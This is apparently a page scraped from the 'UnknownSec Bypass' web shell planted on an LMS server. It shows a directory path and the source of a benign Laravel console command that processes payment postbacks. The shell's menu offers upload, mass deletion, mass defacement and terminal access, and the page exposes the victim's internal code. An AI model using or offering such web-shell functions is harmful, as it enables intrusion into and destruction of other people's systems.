UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_61aa6e6e99f0
/
app
/
Console
/
Commands
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ProcessPostback.php
<?php namespace EstudioLMS\Console\Commands; use EstudioLMS\Repositories\Financial\PostbackInterface; use EstudioLMS\Services\PagarMeService; use Illuminate\Console\Command; use Illuminate\Support\Facades\Log; /** * Class ProcessPostback * @package EstudioLMS\Console\Commands */ class ProcessPostback extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'postback'; /** * The console command description. * * @var string */ protected $description = 'Processa as informações na tabela postbacks'; /** * @var PagarMeService */ private $pagarMeService; /** * @var PostbackInterface */ private $postback; /** * Create a new command instance. * * @param PagarMeService $pagarMeService * @param PostbackInterface $postback */ public function __construct( PagarMeService $pagarMeService, PostbackInterface $postback ) { parent::__construct(); $this->pagarMeService = $pagarMeService; $this->postback = $postback; } /** * Execute the console command. * * @return void */ public function handle() { $postbacks = $this->postback ->findWhere([ ['processed', '=', 0] ]) ->all(); foreach ($postbacks as $postback) { $this->pagarMeService->processPostbacks($postback->postback_id); Log::alert('ProcessPostback: ' . $postback->postback_id . ' - Processado - ' . date('Y-m-d H:i:s')); } $this->info('Postbacks processados'); } }
Copyright © 2026 - UnknownSec